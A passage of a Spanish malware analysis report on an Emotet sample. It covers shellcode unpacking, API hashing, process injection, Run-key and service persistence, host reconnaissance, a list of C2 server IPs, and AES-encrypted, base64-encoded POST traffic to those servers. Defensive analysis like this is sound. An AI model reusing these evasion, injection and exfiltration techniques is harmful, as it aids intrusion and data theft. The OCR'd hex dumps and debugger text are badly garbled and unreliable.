001C0004¢ 'E8 00 00 00|00 58 89 C3|05 3A 05 00|00 81 C3 3A ggi;;ggg ???gggi? ntd11. 77583145
001C001¢:| 27 01 00 68|01 00 00 00|68 05 00 00|00 53 68 45|.. 0018F5AD | 0018FEDO uw.ce-'u
001C002¢:| 77 62 30 50|E8 04 00 00|00 83 C4 14|C3 B3 EC 48|.. UUlSFS:\-‘ 01E40000
001C003¢| 83 64 24 18|00 B9 4C 77|26 07 53 55|56 57 32 F6 0018 o
BFSAD(DD42F638 | 657.0042F638
001C004¢ | E8 22 04 00|00 B9 49 F7|02 78 89 44|24 1C EB 14 BEC A
001C005(| 04 00 00 BS|S2 A4 52 ED |89 44 24 20 001BF5AC | 76F80000 | kernel3z.76F80000
Lo, |llaa) ey ) LIS G e o)) 0018F5B0| 0042F 638 | 657. 0042F638
Direcci
001C053
001C054F
Q01CO55F
001CO5 6F
001COS7F
001C058F
001C059F
001COSAF
001CO5BF
001COSCF
001CO5DF
D01COSEF
001CO5FF

m

Anor

oo fr . LI1Th

is program canno

t be run in pos
£

Figura 14. Descifrado del recurso / Nuevo binario (0x001C053F)

El inicio del nuevo shellcode recorrerd la export table de ntdll.dll y kernel.dll para
localizar nuevas API a partir de determinados hashes.

# | D01CO03E 33F6 xor esi,esi
® | D01C0040 ES 22040000 €all <resolve API= LoadLibraryA
®| D01C0045 B9 49F70278 |mov ecx,7B0OZF743
& | DO1CO04A 894424 1C mov _dword ptr ss:[[esp+ic],eax
®| 001C004E ES 14040000 €31l <resolve_API= GetProcAddress
®| 001C0053 B9 5BA453ES mov ecxX,E553A458
#| D01COO58 594424 20 mov_dword ptr ss:[esp+20],eax 4
e | Do1coosC E3 06040000 |Ealll <resolve APIx virtualalloc i
® | 001C0061 B9 1DE1BAC3 mov ecx,C3BAELLD [
® | D01CO0GE BBES mov_ebp,eax
® | D01CO06E ES FAD30000 €all <resolve API> VvirtualProtect
*| D01C006D B3 AFE15C94 [moOv ecx,345CB1AF
& | DD1COD72 894424 2C mov _dword ptr ss:[[esp+2C],eax
®| 001C0076 ES ECO30000 €31l <resolve_API= ZwFlushInstructionCache
®| 001C0O07E B9 33003E35 mov ecx,353E0033 i
® | D01C0O080 894424 30 mov _dword ptr ss:[[esp+30],eax i
& | DO1C0DS43 ES DED30000 €all <resolve _APLx GetnativesystemInformation
> BEDE mov ebx,eax
# | 001C0O0SE B8B4424 5C mov eax,dword ptr ss:Besp+5C

Figura 15. Resolucién de API

El espécimen reservard un bufer de 81920 bytes donde copiard el binario
desempaquetado (0x270000 en la siguiente imagen). Posteriormente asignara los
permisos correspondientes a cada una de sus secciones via VirtualProtect y finalmente
hard un call al EntryPoint del nuevo binario (0x00271900).

0 push =ax a
53 push ebx ebx: unpack_binary Mostar FPU
FFD6 call esi SEF 5
837C24 60 00 |cmp dword ptr ss:fesp+60],0 B [MEEE ppneeckPinen
v 73 7C je 1co4sp o Es1 [ opezian0 dem
837F 7C 00 | Cmp dword ptr ds:[edi+7C],0
~ 74 76

8B4F 78 mov ecx,dword ptr ds:[edi+73] EIP /j001C0308
03ce add ecx, ebx ebx: unpack_binary
8841 18 mov_eax,dword ptr ds:[ecx+1s] .| EFLAGS  ooooozoz
rern ot anl sav

00270000 <unpack_binary>
¥ [esp+a] 00000001
¢ [esp+s] 00000001
: [esp+C] 00424845 657.00424848

251=00271900

001C0ZDE

8 vicado | 8 ek | 8 vk s | 8 e | 8 vt | 28 e 1| oo | s[RI o < B
—

Direccid| Hex 1

00270030(00 00 00 00[00 00 00 00[00 i Mapa de memoria
0027004000 00 00 00|00 00 0O 0D |00

00270050| 00 00 00 00|00 00 0O 0D |00
0027006000 00 00 00|00 00 00 00|00
00270070 00 00 00 00|00 00 0O 000D
00270080 00 00 00 00|00 00 0O 00|00
00270090| 00 00 00 00|00 0O 00 00|00
0027004000 00 00 00|00 00 0O 0O |00
002700B0| 00 00 00 00|00 00 0O 0D |00

Content

Executable code

Read-only initialized data
Initialized data
Resources

50 0(2C 01 03 005
0027000000 00 00 00[EO 00 02 21|0B

o 0 0
002700F0| 00 30 00 00(00 00 00 10|00
0027010006 00 00 00[00 00 00 00|06
0027011020 20 01 00[00 04 00 00|00

Figura 16. Jump EntryPoint

Nuevamente, el cédigo dafiino comenzard desofuscando determinadas API, y
cargando nuevas DLL requeridas via LoadLibraryW. Posteriormente creard un nuevo
proceso de si mismo (c:\users\<usuario>\657.exe) via CreateProcessW y continuara el
proceso de desempaquetado.
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. mov ed ed CreateProcessw »|[ Mmostar FPU

. push

. 'S“"he“ esb EAX 00282340 L™\ y\Users ), .\ 65 7 . exe’,""
EBX 00000000

. ush dword r ss:[ebp+2C e o

. gush dword gEr- ITH {ebﬁ:za% ECX 0018EDDC LUC\wser s\ I ' 65 7 . exe’

. push dword ptr ss:[ebp+24] _| eox  ooisraze

. push dword ptr ss:Bebo+zoll Por de stdcal)

1: [esp+4] O018BEDDC L"C:‘\Users' ‘[N c5

2: [esp+8] 002B2340 L"\"C: \\User‘s\_\\as? eke\
3: [esp+C] 00000000

4: [esp+10] 00000000

dword ptr [ebp+2C]1=[D018F380 <aReadProcesshemory>]=<kernel3z.ReadProcessMemorys>

L TEXTI7EFI1044 kernel32.d11:$11044 #11044

4 volcado 1 | Wl Volcado 2 | U4 volcado 3 | 45 Volcado 4 | 44 volcacio 5| ) Moritorizer 1

00271574 volver a 00271574 de 777
0018EDDC | L"C:\\users' R\ 657 . exe’

T

Direccis] Hex ASCIT 0013EDAC || 002B2940| L™\ "C: \\User s\, ., \ 65 7 . exe'\""

O0L1EF35C (3D 10 F9 7g(2C 7O FR 76|43 SA 01 77(232 18 F9 76(=, W = 2 33135333

O018F36C (AC_F2 18 00|ZA 15 23 7534 FA 56 77|D2 D7 FA 76|~ - FUL OVwOXUY 0018EDES

DD18F37C |C8 79 F9 7§ Eyuvnlw Iuvl)qw CREATE NO WINDOW | CREATE_SUSPENDED
nnioc3er |l AR nn nn NnlEA 13 £a Tel?a 14 ca Jclar 3c ca Je 001SEDEC

) ¥4 x32dbg exe 160 87644 K 111736 K 4040 x64dbg
" {657.exe <001 1264K 5452 K 2772 MSXML 6.0 SP3 Microsoft Corporation
& Sapenced a0k 140« ZEZMSHES D SN Capo s

Figura 17. CreateProcessW (Suspended)

En la siguiente imagen se muestra el arbol de procesos generados por el propio
binario inicial 657.exe. Obsérvese que algunos de estos procesos crean nuevos
procesos hijo con argumentos concretos para instruir a los mismos diversas vias de
ejecucion diferentes. Finalmente, uno de los instala el binario
folderschunk.exe en el directorio “c:\Users\<username>\AppData\Local\folderschunk\”
(el nombre de este binario puede variar). Dicho binario sera el responsable de crear
persistencia en el equipo por medio de una entrada en la clave de registro
“HKCU\Software\Microsoft\Windows\CurrentVersion\Run” y, si consta de permisos

administrativos, mediante la creacién de un servicio bajo el nombre “folderschunk”
(véase punto 8).

Tras la ejecucion de este ultimo proceso (PID 2216 en la siguiente imagen) el
resto de procesos padre serdn finalizados.

procesos

=] EDOWETS"'IE" exe (2732) Windows PowerShell _ Microsoft Corporation "C:A\Windov
| "Csers'

| "Csers'r

| ~d2a55a%

[ | ~d2¥a55a9

=t ifolderschunk exe (2868) MSXML 6.0 5P3 I Microsoft Corporation "C\Usersr

(=16, folderschunk exe (1456) MSXML 6.0 SP3 |  Wicrosoft Comoration "ChUsers'r

=17, ifolderschunk exe (2832) MSXML 6.0 SP3 Microsoft Comporation -234032eb

@ folderschunk exe (2216)

MSXML 6.0 SP3

Microsoft Corporation

Figura 18. Procesos hijo creados

Cabe destacar que durante el proceso de desempacado se emplean ciertos
trucos para evadir la monitorizacidon de sus acciones por parte de herramientas de
analisis. Por ejemplo, el cdédigo dafiino reserva memoria para copiar el contenido de
Ntdll.dll (C:\Windows\SysWOW&64\ntdll.dll en el caso de ejecutarse sobre WoW) vy
posteriormente recorre su export table para recuperar los Service Numbers asociados a
determinadas APl (NtUnmapViewOfSection, NtCreaSection, NTMapViewOfSection,
NtWriteVirtualMemory, NtResumeThread). Estas APIs permitirdn la inyeccion del
cadigo en el proceso que finalmente conectard con el C2.

Jae z72962 Ocultar FPU

mov ecx,dword ptr ss:[ebp-s]

EAX
EBX
ECX
ERX
ESP

ESI
EDI

90483FF6
00000000
02367F49
00000000
0018EE34
0D18EBT4
0018EC34
0D18ECBC

[ebp+8]:ntd11_copyy

tUnmapViewofSection”
8] : "NtUnmapViewofSection”

mov ecx,dword ptr ss:[febp-15] o
push ecx
call 272970
cmp eax,dword ptr ss:[febp+cll
jne 27296
v

<&CreateProcessws

.dword ptr ss:febp-41
mov eax, dword ptr ss:ffebp-1Ch
movzx ecx,word ptr ds:[eax+tsdx+2]
mov egx,dword ptr ss:[febp-20)
mov eax,dword ptr ss:[febp+3]
add eax.dword otr ds:ledxrecx=41

EIP 00272948

EFLAGS 00000344

[ebp+8] :ntd11_copyy ZF L FF1 AF O

Figura 19. Busqueda de NtUnmapViewOfSection
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Previa a la comunicacién con el C2, la muestra recuperara informacion sobre el
sistema comprometido: sistema operativo, hostname, listado de procesos
ejecutandose, etc.

By | Dorsheo | riog | [Notes | © ereakponts | 8 mopadememoria | [ Piadelamadas | =used | Lol saipt | & simbolos | <2 Fuente | W rios | < snowmen | i rearsos | ¢ Ta
— TAC| - 7 iC J& Tolderschunk. S05ECA ~|[ocultar FPu
! 57 push edi
FF75 FC push dword ptr ss:lzbo-+0 M
5555 e Ll e aoiseace
s5cE mov_scx, esi tok  DEEeEs
E8 ECCBFFFF call <folderschunk.obfs>
59 pop ecx EDX DO1BFACC
55 DOD ecx

Por defecto (stdcall)
i [esp] 03132008
2: [esp+] 00000180
3: [espr8] 00232376 L"--234032eb”
* [esp+C]_DOOD73E9
[esp+10] 00000104
02132008
00000180
00232976 | L"--234032eh"

<folderschunk.obfs>

- Text:00405E86 folderschunk.exe: $5E66 #SEB6

Wl Volcado 1 | gl volcado 2 | 4 volcado3 | 4 vokado 4 | 44 volcado s | @ monitorizar 14D

Direccis| Hex
03132DDE | D,
03132DE8| 30

00 12

31

03132DFE| 02 7

03132E08 Do1sea0s

03132E18| 7 20408127 7 g8

HEEED 00406127 | volver a folderschunk.00406127 de folderschunk.00405ESE
0018FAC

03132E38 00232976 L"--224022eb”

03132E4 000073/

03132658
00730075

03132E68 00620062

03132E78 00690063

03132688

exe wmpnetwk. exe

03132EA8 LVBOXTFay. exe, ex
03132EB8 plorer. exe,dwn. e 50720061
03132EC8 xe,taskhost. exe, 007A0063|
03132ED8 unsecapp. exe, sys D0GE00EF
03132EEE mon. exe, spo0lsv. 002F0061
03132EF8 exe, VBOXService.
03132F08 00000000
03132F18 00000000
03132F28

00000000
03132F38 00000000
03132Fa8 00000000
03132F5E

00000000

24 04 AR 7
Z 00 00 00 00

03132F78 [T
RRRR AR ARIAA AR AR AR

AR127ERR

00000000

Figura 20. Informacion recopilada

7. CIFRADO Y COMUNICACIONES

De forma reiterativa el cédigo dafiino intentard comunicarse con el servidor de
control para remitir la informacidén del sistema y obtener las instrucciones pertinentes.
Dicha informacion es enviada via POST de forma ofuscada y cifrada.

Figura 21. Envio de informacién a los C2

El espécimen dispone de un gran listado de servidores de control en su fichero
de configuracion a través de los cuales ird rotando para enviar la informacién
recopilada.
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Direcci6| Hex
002587DC |00 00 00 00|EQ B7 25 00[EQ BZ 25 00(ES BZ 25 00
002587EC |E& B7 25 00 EQ &7 oF 00|30 F7 57 77
002587FC (00 00 CO 75 AF E2 1E B3 (08 81 D5 OL|F4 BO 89 1
0025880 (00 00 00 88|48 B8 25 00(10 00 00 0O cc
0025881C (10 00 00 00|01 00 00 00|06 00 00 00(DL 00 00 0D|..
0025882C |82 B8 25 00(10 00 00 00(L )

0025883C |01 00 00 00|06 00 00 00(01 0O 00 00(0Z 00 00 O
0025884C [ 0D 00 00 00|00 00 00 00(00 00 00 00(0Z 0D 00 O

0025B85C |77 9F 96 BO|0D 0O 00 00(0D 00 00 00[0Z 00 00 O
0025886 |00 00 00 00|00 00 00 00[00 00 00 00(0Z 00 00 O
0025887C |77 9F 96 BO|00 00 00 00(00 0O 00 0O(E4 BO B9 1

0025888C |00 00 00 88|Ca B& 25 00(10 00 00 00|D& BE 25 00
0025E89C (10 00 00 00|01 00 00 00|06 00 00 00(01 00 00 O
0025B88AC |E& BE 25 00|10 00 00 00(ES BE 25 00(10 00 00 O
0025B8BC |01 00 00 00|06 00 00 00(01 00 00 00(0Z 00 00 O
0025EECC |00 0O 0O 00|00 0O 00 00(0D 00 00 00[0Z 60 00 O
002588DC |BE 45 DG 5E(00 00 00 00(00 00 00 00(0Z 00 00 O
0025B8EC (00 00 00 00|00 00 00 00(00 00 00 00(02 00 00 O
0025B8FC |B& 45 D6 5E|00 0O 00 00(0D 00 00 00[D4 EBO 89 1
0025890C (00 00 00 88|42 B9 25 00(10 00 00 0O
0025891C (10 00 00 00|01 00 00 00(06 00 00 00|Q
2C | G2 B9 25 0010 00 00 00|z 10 00 00 O
0025E53C |01 0D OO 00|06 0D 00 O 00 00|02 00 00 O
0025894 0 000 00 00 00f02 00 00 O
0025895 [BA 53 85 FD Jo0700 00 00[00 00 00 00(02 00 00 O
8360 00 00 00[00 00 00 00|02 0D 00 O
0025897C |BA 53 85 FD|00 00 00 00(00 00 00 00(C4 BO B9 1E |+
0025898 (00 00 00 88|C8 B9 25 00(10 00 00 0O cc
0025899C (10 00 00 00|01 00 00 00(06 00 00 00(01 00 00 O
0025ESAC |EE B9 25 00|10 00 00 00(ES ES 2E 00(10 00 00 O
0025898C |01 00 00 00|06 00 00 00[04100 00 00(0Z 00 00 O
0025B9CC (00 00 00 00|00 00 00 00[00 00 00 00(0Z 00 00 O
0025E5DC B2 F9 BE 37|00 0O 00 00(0D 00 00 00[0Z 00 00 O
0025E9EC |00 00 00 00|00 00 00 00[00 00 00 00(0Z 00 00 O
0025B9FC B2 F9 BE 97|00 00 00 00(00 00 00 00(B# BO 89 1
0025BA0C (00 00 00 88|42 BA 25 00(10 00 00 0O
0025EALC (10 00 00 00|01 0O GG 00|06 00 00 00(DL 0O 00 O
00258A2C g2 BA 25 00|10 00 00 00(zg BA 25 00(10 00 00 00 |he:
0025BA3C |01 00 00 00|06 00 00 00(01 00 00 00(0Z 00 00 00|..
0025BA4C |00 0O 0O 00|00 0O 00 00(00 00 00 00[02 60 00 00 ..
00258A5C (D9 C7 AQ EO|00 00 00 00[00 00 00 00|0Z 00 00 00
0025BA6C (00 00 00 00|00 00 00 00[00 00 00 00(0Z 00 00 0O..
00258A7C (D9 C7 A0 EO|0D 00 00 00(0D 00 00 00|A4 BO B9 1E

Figura 22. Listado de C2

Algunas de las IP embebidas en el fichero se muestran en el siguiente listado:
Véase el apartado 9 para conocer en detalle algunas fuentes de referencia con blacklist
actualizadas sobre Emotet.

109.104.79.48 187.199.158.226 217.199.175.216
109.169.86.13 187.235.239.214 23.92.22.225
114.79.134.129 189.166.68.89 46.163.144.228
119.159.150.176 189.187.141.15 46.21.105.59
119.59.124.163 190.104.253.234 46.28.111.142
119.92.51.40 190.117.206.153 46.29.183.211
138.68.106.4 190.1.37.125 46.41.134.46
139.5.237.27 190.158.19.141 46.41.151.103
149.62.173.247 190.200.64.180 50.28.51.143
151.80.142.33 190.221.50.210 51.15.8.192
159.203.204.126 190.230.60.129 5.196.35.138
170.84.133.72 190.38.14.52 5.77.13.70
178.249.187.151 200.21.90.6 62.75.143.100
178.79.163.131 200.57.102.71 62.75.160.178
179.62.18.56 200.58.171.51 71.244.60.230
181.123.0.125 201.163.74.202 71.244.60.231
181.167.53.209 201.184.65.229 77.245.101.134
181.188.149.134 201.214.74.71 77.55.211.77
181.230.212.74 203.25.159.3 79.143.182.254
181.36.42.205 211.229.116.97 80.240.141.141
183.82.97.25 212.71.237.140 80.85.87.122
185.187.198.10 217.113.27.158 81.169.140.14
185.86.148.222 217.113.27.158 86.42.166.147
186.0.95.172 217.199.160.224 87.106.77.40
186.83.133.253 89.188.124.145 88.250.223.190
187.155.233.46 91.205.215.57

187.188.166.192 91.83.93.124

Para cifrar la informacion el cédigo daiiino, en primer lugar, aplica un algoritmo
de compresion y posteriormente hace uso de la CryptoAP! de Windows para cifrar el
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bufer resultante a partir de una clave de sesién AES. La CryptoAP! serd utilizada
también para descifrar los datos recibidos del servidor de control.

By arifio | g | [noms [ @ eresoonss | 8 vapadememons | () eincelamad [l cou | @orafico [ rlog | [UNotas [ # ereskpoints | W Mapadememoria | () Place lamadas | =psed | I
55 push gbp 55 obfs
BBEC mov gbo,esp BBEC
51 push ecx 51

push dvord ptr ss: foan ] B a2

FF75 08 push dword ptr ss:|f FF75 08

EIny E8 71FFFFFF Eai Fandefschunk. comr ess> E8 71FFFFFF icall i <Folderschunk. compresss]
83c4 0C add esp,C 83c4 0C add esp,C
5D pnn sho 5D pop =bo
= nov scx = -

~ £ 36FFFFFF o folderschunk. 4026r8 R EREEEE T T —

5 push est . = =

<Folderschunk., compress> ZFolderschunk. conpresss

. text: 00402781 folderschunk.exe:$27B1 #2781 . Tex 0402781 Tolderschunk. exe:$2781 #2781

» [EIFEFERY 00000174 |
Wvokado 1 | W volcado2 | 44 Volcado 3 | Wik Volcado 4 | 44 voicado 5 | & monitorizar 14 M| W volcado 1| G voleado 2 | Wvoleads 3 | Wi volcsdo+ | W volcados | A montonzar 14 | b EEECEER 00000072
birec asax [ ~] 0% Direecio|mex ASCIL ——— -] o5isriac | onoonoon
D025E258|08 00 12 OF (52 43 45 SE[S50 43 5F 36|30 37 36 33 ....R‘CEXPC,SD763 po: 0027136878 01 4D 8F [C1 4A 03 31(10 86 AB 07|F1 26 78 12|X.M. AT, 1. .. nax.| . DDl:Fl A0 | 00000174
D025E268|20 23 31 18|FD BC 06 20|01 2D BC B1 |43 1A 32 D1|031.¥%. .-4xC.ZN noi Q0271378/4F 2E 80 4A|ED CA OA 1E|SD 7A 17 5E|C4 98 C4 EC|O. JiE ]z.[A.m 001E8F1A4| 00271452
0025E278|02 72 65 67|65 63 69 74|2E 65 78 65 |2C BE GF 74|.regedit.exe,not oo: 00271388|BO 0D 4D 32|43 26 DD &C|1F CB 78 5F|C2 07 12 5C|°.M2Ca¥1.E{ A..\| O THE TR [oooR0SE
0025E288| 65 70 61 64[2E 65 78 65 3 Epﬂd.exg‘wlspms gop 00271398|32 71 29 39|CC FF 4F 66(BE FC 39 9F|SD SE BC 35 zq)styﬂfwa 1/\55 Dmsn? 00D000EA
0025E298| 2E 65 78 65(2C 53 6E 63|70 70 &5 GE | &7 54 GF &F | .exe,5nippingToo 00 002713A8|CE 8F D7 E6|B3 9E D = 0018F 120 | 00000000
DO25E2AB| 6C 2E 65 78(65 2C 70 79|74 68 &F €E(2E 65 78 &5|1.exe,python.exe po: 002713B8|9C DC 1D BE|9B EB 0 .U . 001EF1E4 | 0213CDCO
0025E288(2C 70 73 2E[65 78 65 2C|63 & 63(2E 65 78 65| ,py.exe,calc. exe 0o: 002713C3|5E 8F 11 48 B5 53 0O18F1E5 | 00402561
0025E2C8|2C 78 33 32|64 62 67 2E|65 78 65 2C|63 60 64 2E | ,x32dbg.exe,cmd. 05i 00271308|6E 8D 68 73|83 F& o Tar T [cosos o)
0025E2D8| 65 78 65 2C|63 €F 6E 68|6F 73 74 2E|65 78 €5 2C | exe,conhost. exe, O5i 002713E8|5A B4 SF 90 |F4 SC e || P
OO25E2EE|43 €F GE 45|60 75 43 36|34 2E €5 78|65 2C 43 6F |ConEmuCé4, exe,CO 0o: 002713F8|5D 53 3F 1E (B9 62 C012F104 | 00000000
0025E2F8 6 34 2E 65|78 65 2C 77 |6D 70 BE 65| NEMUGS. EXE,wmpne oo: 00271408(1D 34 CO 61|20 8B 0018FI1CS| E11586E0
0025E308|74 77 68 2E |65 78 65 2C|56 42 GF 78|54 72 G1 79| twk.exe,vBOXTray _ |55 So37iais|ee rx oc sa|1i 43 0018F1CC | 0ODOD0OD
0025E318| 2E 65 78 65 |2C 65 78 70|6C 6F 72 65|72 2E €5 78| .exe,explorer.ex J5i 00271428|5C 41 ES 80|06 E9 o TaET 0 [o0GDe002
0025E328 2E 65 7E|6E 2C 74 €1|73 BE 68 &F |e,dwn.exe, taskho 551 00271438|59 26 C5 24|E3 2D 0018F1D4 | OD1BF1EE
Q025E238(732 74 2E 65|78 BL 2C 7o |GE 72 €5 63|61 70 70 2E|ST.eXe,UNsecapp. oo: ©0D271443|EF 8A 78 9E|FD 01 Q01EF1DE [00402786)
R R e 2 2 S B R ST 001 45860 40 06 00|03 a0 1 s e
0025E358| 70 6F 6 76 2E 65|78 65 2C 56|42 6F 78 53|pooisv. exe,VBoxs 951 00271468(00 00 00 00|00 00 | [
D025E368| 65 72 76 63|63 65 2E 65|78 65 2C 73|76 63 68 &F  ervice.exe,svcho po1 00271478|00 00 00 00|00 0O nn1ee1r4 ll 0271368l
DO25E378|73 74 2E 65|78 65 2C 6C|73 6D 2E €5 |78 65 2C &C|st.exe,lsm.exe,] 001
ob25¢388 ZE 65 75 65|2C 73 65 72|76 6 &3 €5 |sass. exe,seruice .
0025E398| 73 2¢ 65 78|65 2C 77 69|6E 6C 6F 67 |6F GE 2E 65 |S.exe,winlogon.e o
0025E3A8(78 65 2C 77|69 GE 69 62|65 74 2 65|78 65 2C 63| Xe,wininit.exe;c .
Q025E3E8|73 72 73 73|2E €5 78 65|2C 73 €D 73(73 2E 65 78|srss.exe,smss.ex oot
0025E3C8| 65 2C 3A 0065 78 65 2C|0D C2 BB 1C|4A 80 00 00|e, '.ENE..‘,.J 001
00z5E0s 80 61 24 0(CO £7 26 00|73 3¢ 65 78| 3¢ 73 ) “éelagals. e s .
0023E3E8 |73 33 £ 63|75 65 SC 3A|00 00 00 00|01 GO 00 0 .
DO25E3FE| 00 €O B9 12|7F 80 00 OC|00 00 00 00|00 DF 25 Q0 Ane

Figura 23. Compresion

La siguiente imagen muestra las diversas APl involucradas para el cifrado del
bufer comprimido. Mediante CryptAcquireContextW se selecciona un provider type
0x18 (RSA Full and AES) para generar un handle al key container correspondiente que
sera utilizado por CryptEncrypt para cifrar los datos.

igned int crypto()

1fs

2

3| sub_4@15@3((int)8prov_26D863, 16);

) i ([getcomextO)] oo

5 if ( CryptAcquireContextil(&prov_26D@68, @, B, 24, -268435392) )

6 if ( CryptGenKey(prov_26D868, 26126 i

7 if ( !CryptDecodeObjectEx(65537, 19, Sunk 410876, 106, 6x8000, @, &3, &v2)
8 if ( CryptCreateHash(prov_26D@68, 32772, @, @, &dword & || (v& = CryptImportKey(prov_26DB68, v3, vZ, @, @, &dword 4138D4), Localfree(v), !va)
9 return 1;
10 CryptDestroyKey (dword_413BD8); ) CryptReleaseContext(prov_260868, @);
11
12 CryptDestroyKey(dword_413BD4); 1
13|  CryptReleaseContext(prov_26D863, @);
14| }
15| return @;
16}

| itog | [inotas | ® Breakponts | P Mapadememoria | [ Piadelomadss | & Bou | B cdfo | Litog | LiMotas | @ brealpoints | 8 aps dememoia | [ Piacelamadas | =

FFis 88074100 BNl dword ptr ds:[<&CrypTENCrypt>] FF].E SE0F4100 Eall dword ptr d=: [<ECrypTENCrypt>]
00302103 fest ear,cax . est sax, cax
00402105 v 74 ZF je folderschunk.402136 . je folderschunk.402136

8BSD FO MoV ebx,dword ptr s: .

BB15 DB3B4100 mov edx,dword ptr d . H

EEOD D43E4100 mov ecx,dword ptr ds:[413ED4] . 8BOD D43B4100 mov ecx,dword ptr ﬂS [413804]

53 push ebx . 53 push ebx

E8 FSFDFFFF call fD1dEr5(hunk 401F11 . E8 FSFDFFFF €all folderschunk.401F11

55 pop_=: . pop_scx

B85C0 test Eﬂ)( . 8sC0 Test eax,ex

~ 7% 15 je fo1ders(hunk 102136 . © 7a 15 je f:nuersmunk 102138
& IR : I e
m m

edx=3
dword ptr [folderschunk.00413BD8]=<&CPGenKey>
.Text:0040210A folderschunk.exe: $210A #2104 .text: 00402103 folderschunk. exe: §2103 #2103
U volcado 1| 4y vokcado 2 | W volkado 3 | gl vokcado 4 | 4 vekcado s | @D monitorizar 1 | bxel Lo W voleado 1| U Volcade 2 | W Vokcado 3 | 44 Volcade ¢ | Wi vokesdo 5 | ) Moritorizer 1 | [x_]LngE]F
Direccio| Hex a Direccid| Hex ASCIT - EI[
002C35DC | 08 10 12 EA|01 78 01 4D |8F C1 4A 03|31 10 86 002C35DC (AF 22 33 2B 23+ﬂ +5n5 S oc
002C3SEC|07 F1 26 78|12 4F 3E 80|4A ED CA DA|1E 50 7A 002C 3 6C |BE 76 26 DD 55 N
002C35FC |58 €4 9B C4 | EC 0D 40|32 43 26 DD |6C 1F CB 002C35FC |33 61 B3 6349 BS5 EB B4 33’(]"& Licbi. . oc
002C360C 5F €2 07 12 |5C 32 T1 29|39 CC FF 4F |66 BE FC 002C360C (54 OD 27 28|E4 OE 23 7C &z 6..[_}(8 oc
002C361C 9F 5D SE BC 35 CE 8F D7 |E6 B3 9E 3F DS D5 EC 002C361C (49 19 F5 25|98 B1 OC DB ] DS +. Uzyepf~.a oc
002C362C B8 FA 3D 9C DD 9C DC 1D |BE 98 EB C5|CF 69 80 002C362C |BA AE 33 81 2C 4A 6B 3A oc
002C363C |5A 13 EF 61|80 5B 8F 11(48 B5 59 27|C3 14 0D 002CZ63C | 8F 73 53 3C 4C 24 8D 28 &
002C364C BD F2 B6 CB FB GE 8D 68|73 83 F6 71|83 BE CB 002C264C |C4 58 BO 4E 1C 9B C6 GE oc
002C365C B4 B2 3A 8B|A1 5A BS SF|SD F4 SC AD|33 FA 0D 002C365C |44 12 57 F6 83 F1 64 OF N
002C366C | 3C D1 AD 5F BA 5D 53 3F|1E B9 62 92|23 OF 31 D0D2C366C |67 CC E9 3F BY 82 A9 A3 oc
002C367C B3 73 7F C1 61 1D 94 CO|61 20 BB 01|42 36 €D EB 81 C5 09 10 CC CB 44 oc
002C368C B9 46 C5 DE 05 EE F3 OC|SA 11 43 DC | 3D EE 32 1 8D CO 68|7A ED F3 oc
002C363C 69 8C CC FD 84 SC 41 ES|8D 06 B9 EB|F5 B4 6F 38 €2 EF 57|61 2E 1B BE oc
002C36AC |AD 96 15 CB|SF 59 26 C5 39 9A F5 1C 53 E7 1B 4E EF FF &
002C368C |CB 9E E6 FO|3F EF 8A 78|SE FD O1 E1|15 86 EO 02 33ECIE A EE @ =
002C36CC(73 2E 65 78|65 2C 65 78|65 2C 00 0O|SE D7 B7 S 2E b5 78|65 2C 65 78 o
D02C3GDC| DD 00 0O 80|50 DO EF DO|ZA D0 63 D0|EC 00 6 00 ..sg.,rﬂ nnenlen o gs on
002C36EC| 51 00 2F 00|34 DU 2 DU(20 00 20 00|28 00 63 00 fasiRnE

Figura 24. Cifrado de los datos

Los datos cifrados seran ofuscados mediante base64 y posteriormente por el
algoritmo URL Encode.
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® Eresipoints | M Mapadememoria | [l Pladelamadas | =iSen | |0 saipt | @ simboles | <2 Fuente | tiios | < snowman | o Rears
mov_edi,edi HEtpser W
- ocultar FPU
mov 200, EAX 00000001

esp
and esp,FFFFFFFS [T eex  ooccoooc
sub ESD;(SC ECX  002C74B39

e DX  002C7488
push edi EBP 0018F1F8
te: : <
= + [[Por deficto (stdcal)
1: [esptd]

DOCCO00C
2: [esp+8] 0018F620 L'Referer: hrtp://46.41.134.46/vern
3: [esptC] FFFFFFFF
4: [esp+10] 00270ACS
e —

edi=0

.Text:7699CE30 wininet.d11:$8CE30 #8C230 <HttpSendRequestw>

3| 0013F1E0 || 0018FB30
Y voleado 1 | W Volcado 2 | 4l Volcado 3 | 4% volcado 4 | 444 volcado'5 | @ monitorizar 1 [P 00350155 | S91mceas
Direcci6| Hex ASCIT || coierics || oonoo1os)

J | on1ae1ec || onccoons
00270ACE |47 20 51 72|70 62 6D GA|64 43 4C 653D 77 62 61| GOQrpbmjdCLe-wba 5 Moz ible: s owi q q
DD370ADE | 4D 44 61 42|4D 71 79 46|56 7E 72 4B 33 70 35 56| MDABMAYEVUFKIPSY 00138F1F0 (| 002C36EQ| L"Mozi11a/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64;

0027DAEG|58 73 46 61|61 72 GE 50(78 44 39 79|45 56 37 6B|XsFaarnPxDIYEV7TK
DD270DAFE |74 4B 75 25|32 46 58 74|48 59 6A 58|39 76 49 20| TKUMZFXTHYJX9VIO
00270808|7A 49 62 35|7A 66 25 32 (46 61 4C 4C|7A 25 32 46|zIbSzf%2FallzzF
0027081830 &F 44 71|55 BC GF 78|57 57 41 69|52 &5 33 78| 00DqUInvwwAiRe3x
00270828(65 75 31 32|GA 45 72 GA(79 78 33 65 (46 4D 76 4E | eul2jEr jyx9eFMvN
00270838(73 76 7A 79(4D 31 38 79(30 4D 75 66(4E 4D €9 6F | SVZyM1S8YOMUTNMin
00270848 |63 4E 75 45|68 43 56 66|50 6F 35 44|77 49 36 48| CNUEKCVTPOSDWIEH
00270858|65 46 4C 34|65 58 25 32(46 33 25 32|42 76 39 33| eFL4eX%2F3%2BvO3
00270868 |6E 43 25 3242 41 42 75|78 67 46 70|70 69 56 43| nCHZBABUXgFppivC
00270878 |4F 5A 46 53|76 4D GA 4D (72 25 32 42|41 4D 72 4E|OZFSVMIMrizBAMrN
00270888 |57 37 70 42|69 25 32 42|64 76 7A 35|41 33 6E 59| W/pBi%2BdvzSA3ny
00270898|75 33 59 5A|51 38 71 4B(39 59 62 57|6C 75 71 49| u3YZQBQK9YbWlugl
002708A8|44 6B 54 4E(6B 73 32 4E(4A 74 g5 75|30 4C 78 6A|DKTNhsZNIteuolxj
002708B8 |75 35 25 32|46 4C 4E BB|35 70 55 44|53 63 6F 35| USHZFLNKSpUDSCOS
002708CE|41 34 6A 66(48 6C 34 38(34 71 74 6F (39 63 34 53|A4jFK]484qtodcds
